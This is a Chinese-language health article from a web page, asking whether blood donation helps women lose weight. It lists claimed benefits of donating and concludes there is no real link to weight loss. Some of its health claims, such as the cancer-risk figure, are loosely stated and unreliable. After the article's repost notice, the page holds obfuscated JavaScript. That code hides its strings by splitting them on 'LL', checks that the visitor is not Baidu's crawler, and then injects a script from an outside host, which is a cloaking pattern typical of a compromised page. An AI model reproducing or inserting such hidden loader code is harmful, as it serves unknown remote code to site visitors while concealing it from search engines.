当前位置:首页 > 饮食 > 食物营养 > 正文

女性献血有减肥的作用吗?

2017-07-07 11:48:41  来源:360常识网   热度:
导语:人们常说:经常献血,可以救死扶伤,义不容辞。其实,献血也是一种美德。然而血液作为我们人体很重要的给养,它的的作用是很大的。同时,献

人们常说:经常献血,可以救死扶伤,义不容辞。其实,献血也是一种美德。然而血液作为我们人体很重要的给养,它的的作用是很大的。同时,献血也有很多作用,可以给我们带来很大好处。那么献血有哪些好处呢?献血可以减肥吗?带着这些问题一起来学习了解下吧。

1、献血对心脑管系统有良好的远期影响

坚持适量献血可减少血液中的所有成份,减少比例最大的是血铁和蛋白,还降低血液的粘稠度,使血液流速加快。供氧量加大,人感到身体轻松、头脑清醒。能有效降低动脉硬化、血栓和脑血管意外及心肌梗塞等病症。

2、男子献血可减少癌症的发生率

人体内的铁含量超过正常值的10%,罹患癌症的机率就提高,适量献血可以预防癌症。

3、可促进、改善心理健康

献血是救人一命的高尚品行,使自己的精神得到净化,健康的情绪可通过神经、体液、内分泌系统沟通大脑及其他组织与器官,使其处于良好的状态,有益于人体免疫力的增强、抵抗力的提高。

4、经常献血可提高造血功能

由于血细胞数量减少,对骨髓产生刺激作用,经常按规定期限献血,就可使骨髓保持旺盛的活力。

然而,肥胖是一种慢性疾病,与饮食、运动、遗传、心理因素相关。而献血跟这几方面因素并没有直接联系。所以献血和减肥无必然联系。

献血有很多好处,经常献血不仅可以改善自身血液系统的环境,还可以定期监测你的身体健康状况。但是如果想通过献血来减肥,这种想法是不可取的。减肥其实有很多方法,大家可以从运动、饮食方面来制定合适的减肥计划。

转载申明:360常识网,欢迎分享,转载请注明出处!

if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}